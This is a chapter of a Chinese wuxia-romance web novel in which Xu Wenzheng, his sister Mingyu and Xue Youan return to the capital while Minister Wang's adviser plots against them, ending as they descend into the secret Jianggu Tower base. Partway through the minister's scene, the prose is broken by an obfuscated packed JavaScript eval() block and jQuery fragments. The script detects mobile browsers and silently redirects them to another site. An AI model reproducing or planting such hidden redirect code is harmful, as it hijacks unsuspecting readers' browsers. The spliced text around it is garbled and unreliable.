24. 江鼓楼

作品:《沉舟侧畔

    许鸣玉握着正在滴血的双刀,把它们收回腰间。


    许闻铮笑着,把朝他跑过来的妹妹一把搂住。


    “哥哥,我回来了!”


    许闻铮揉揉她的头,看她一身风尘仆仆的痕迹,不由得眉头轻皱。


    “鸣玉,这次回来就留在哥哥身边,不要走了。”他温声道。


    “哥哥说什么就是什么。”许鸣玉眉眼弯弯,许是太久没见哥哥,眼眶都泛红。


    “你受伤了?!”许鸣玉这才看到许闻铮身上的伤口,她立刻咬牙拔出刀,恨声道:“我再去捅他们几刀——”


    “鸣玉,”许闻铮拉住她,看向身旁的薛幼安。


    “这位是薛幼安小姐,薛相的千金。”


    “这位是我的妹妹,许鸣玉。”他对薛幼安介绍。


    两人互相对视一眼,


    “你好。”许鸣玉乖巧道。


    薛幼安回以笑容,感激的说:“刚刚多谢鸣玉小姐出手相助,不然今日恐遭大难。”


    “叫她鸣玉就好,就当是家人一样,不必客气。”许闻铮看着身旁的人说道,不知怎么语气中竟有一丝赧然。


    许鸣玉惊奇的睁大眼睛,她这才认真看向薛幼安:“对,跟哥哥一样,叫我鸣玉就好。”


    薛幼安看着她,这女孩生的灵巧精致,玉面莹润,与许闻铮是一脉相承的风采卓然。她想起刚刚杀人不眨眼的江鼓楼楼主,又看看如今对她乖乖微笑的小女孩,深感惊奇。


    下了山崖,寒山已经备好马车在恭候了。


    许鸣玉吹了声哨子,江鼓楼的人便作鸟兽散,顷刻间隐入山林,不见踪影。


    ……


    回程的路上,许鸣玉困倦睡着了。她收到消息后千里奔袭,才在哥哥遇险时刻赶来,如今危急解除,待在哥哥身边心神松懈,有足够的安全感,自然就昏昏欲睡。


    许闻铮给她盖了一件衣服,又把她头上的簪子摘下,好让她睡的更舒服些。


    “我们这是去哪?”薛幼安悄声问。


    许闻铮同样悄声回答:“不是说了,去山庄跑马嘛。”


    “你觉得咱们今日还没跑够?”薛幼安扯扯嘴角:“我可是把一年的分量都跑完了,从来没有这么酸爽过。”


    “确实……那便依小姐之言,咱们回京吃饭去。”许闻铮思考道。


    薛幼安一眼看出他早有打算,眯了眯眼。


    “我知你现在有很多疑惑,等回了京城,定为薛小姐一一解答。”


    薛幼安心性沉稳,本也不是急躁之人,她点点头,看向许闻铮身上简单处理过的伤口。


    “疼吗?”


    “嘶……你一问,好像有点。”许闻铮抿抿嘴,稍稍动了动肩膀。


    他见薛幼安虽好气的笑了笑,但眼神里还是有担心之意,正色道:


    “今日的情形已经比我预料的很多,多亏薛小姐,又是为我挡箭、扶我过山路、又是与我配合默契一同抗敌,不然我怕不只是这几道划伤了。


    幼安,今日多谢你。”


    薛幼安听他这一番诚恳言辞,目移了移,有些红了脸:“本就是盟友应该做的,你要是谢我,我还要先谢谢你们呢,你也说了同家人般相处,便不必言谢。”


    许闻铮心神一动,“家人”这两个字直直挠在了他的心尖上,缠出甜腻腻的丝线来,感到车里的空气都变得沁人心脾了。


    “你要睡会儿吗?这到京城还有些距离。”许闻铮转移话题。


    “我就不睡了,今日你也累了一天,要不你歇一会儿?”薛幼安反问。


    许闻铮有些倦乏的笑了笑:“如此,我歇一下,车厢侧壁有话本游记,你可以用来打发时间。”


    薛幼安连连点头,看见许闻铮撑在小几上,很快闭了眼。


    这兄妹俩……真是不按常理出牌。


    这车厢内可装满了武器毒药,她若有歹念,轻易便能让两人遭殃。


    随是这样腹诽,可薛幼安还是因为被如此近亲对待而感到暖意。


    她凑近,端详着许闻铮因入睡而沉静的脸,才发现他的睫毛浓密且长,根根分明,让人忍不住想摸一摸,数一数。


    薛幼安不禁抬起手,慢慢伸向许闻铮的脸庞。指尖靠拢,马上就要触碰到的时候,马车忽然压倒一颗石子,颠簸了一下。


    薛幼安大梦初醒,赶紧直起腰来坐好。没想到自己也有被美色迷惑的一天,她闭了闭眼,从后方随便抽出一卷书,一目十行的匆匆看了起来。


    就在她沉迷于游记时,许闻铮的睫毛颤了颤,胸腔起伏,好似叹了一口气。


    -


    “一群废物!”王相几次深呼吸,然而还是压不住火气。


    这些年他运筹帷幄从未失算,然而自赏花宴后脾气就常常暴躁,究其原因,都和那许闻铮有关。


    这秦王到底有什么通天的本事,让他回回吃瘪。中了归息之毒,还能杀了那么多江湖高手、死士刺客,然后大摇大摆的逃亡而去。


    反观自己呢,没抓到人不说,还白白损失了大批人马。


    “主子息怒。”琅独倒是很淡定,像早有预料一般。


    “探子回报,今日许闻铮交战之时脚步虚浮,招式缓慢,因着有人相救才逃过一劫,虽未能查清是何人所救,但也试探出了他的虚实,他如今已是强弩之末,逃得了一时,逃不了一世。许闻铮想要解毒,还得求陛下出手,那么重返京中之日,便是他的死期。”


    “依你只见,可有新的主意?”


    琅独微微一笑:“这许闻铮幼年丧母,为了保命才赴边关参军,怜贵妃之死一直是他的心结,若论当年谁的嫌疑最大,便是前朝的皇后,如今的太后。


    若给他透露一点当年之事,引他对付太后,不仅可以消耗他的精力,还能让他与陛下离心,届时皇后在陛下耳边再多加劝诫,想必他许闻铮最后一程,定不好走。”


    “玩弄人心,渔翁得利,是你的风格。”王相赞道。


    “那如何行事,可有计划?”


    琅独微微抬头:“主子可曾听说过——江鼓楼?”


    “有所耳闻……不过一群江湖草莽,如何堪用?”王相嗤笑。


    “主子有所不知,这江鼓楼乃江湖第一杀手组织,本就威名赫赫,三年前被当今楼主收编,更是发展壮大,如今已集情报、间客、杀手、监察等为一体,并积累了大量财富,在京中亦有据点,只要出得起价,就能让他们办事。”


    王相听闻,略有所思。


    “卿之意,是要借江鼓楼之手,激化许闻铮与太后和皇上的矛盾,如此,便能不费吹灰之力将王家摘出来,作壁上观。”


    “主子英明。”琅独敬重一拜。


    “此事,便交由你全权管理,琅独啊,你几番在许闻铮的手里吃亏,这一次,可别再让本相失望了。”王相意味


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302030|198539||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    深长的说。


    “你知道的,本相从不养无用之人。”


    马车稳稳停下,薛幼安戳了戳许闻铮,将两人喊醒。


    许闻铮睁眼,眼底的倦意已经消散,许鸣玉懒懒的打了个哈切:“饭点到了?”


    许闻铮忍俊不禁,对两人抬抬头:“走,下车吃饭喽。”


    “盛芳楼?”薛幼安看着面前气派的大门:“我说怎么急着回京,原来是要到这盛芳楼听曲儿来了。”


    “这盛芳楼,可不止能听曲儿呢。”许闻铮意味深长的说。


    众人便依次拾阶而上。


    盛芳楼的掌柜远远看见秦王府的马车便迎了上来,走近看清楚来的几人是谁后“诶呦”一声,慌忙说:“大人们今日怎未通知一声,小的好做准备啊!”


    “行了,你去忙你的,这边没你的事。”许鸣玉抬了抬下巴,语气熟稔。


    掌柜极为敬重,深深行了一礼后退下。


    薛幼安在一旁默默观察,好似明白的什么。


    她转头看向许闻铮,许闻铮眨眨眼,笑而不语。


    “薛姐姐猜的不错,这名冠京都的盛芳楼,便是江鼓楼。准确的说,是江鼓楼在京都的最大据点。”许鸣玉引着众人往前走,路过的小二纷纷向他们点头致意。


    虽已料到此事,薛幼安还是檀口微张,面露讶色。


    众人在转角处一房间门口停下,薛幼安记忆力很好,一眼便认出这包间就是许闻铮第一次约她见面的房间。


    深藏不露啊,果然,狐狸尾巴藏的都深。


    似是察觉薛幼安的想法,许闻铮抵嘴,清了清嗓。


    走进房间,薛幼安环顾四周,并没发现奇特之处。


    “寒水,去,把门打开。”许鸣玉叫道。


    “得嘞!”一直默不作声跟在许鸣玉身后的小侍卫探出个脑袋,跳到屋子中央的茶桌旁。


    这小侍卫圆脑圆眼,生的活泼机灵,与他的性子很是相配。


    “寒水?那他与寒山是——?”薛幼安意有所指,问道。


    “寒水是我亲弟弟。”寒山笑道:“我们兄弟二人相差十岁,分别与主子和鸣玉大人同龄。”


    “倒是件美事,颇具巧意。”薛幼安赞叹道。


    寒水一只手伸到桌下,不知按了什么机关,“咔哒——”这桌子竟向后移了过去,地毯掀开,露出一个可容纳两人并肩同行的旋转楼梯。


    许闻铮没急着下去,他示意薛幼安去看桌底,那里镶嵌着一个转盘。


    “向左转三下,再向右回一下,听到解锁的声响,按一下转盘中央,便能打开密道了。”


    “只是这样?”薛幼安挑眉:“我还以为这机密要道解锁十分复杂呢,如此简单,不怕被外人闯了去?”


    许鸣玉哼笑:“能闯进来,也要有命活着出去才行。”


    薛幼安想了想江鼓楼众人恐怖的战力,深表认同。


    她好奇的跟着下了楼梯,楼梯的尽头是个大约高八尺,宽六尺,通体呈方的巨大木匣,目测能容纳五六个人不止。


    许闻铮拉着她站到木匣内,让她搭着一侧的栏杆。


    “扶稳了。”他垂着眼:“你不是一直想知道,我最隐秘的底牌是什么吗?今日,便带你来看。”


    寒水伸手,有节奏的敲击了三下木板,下方同样传来三声应和。随即锁链的撞击声传来,木匣一震,便缓缓向下沉去,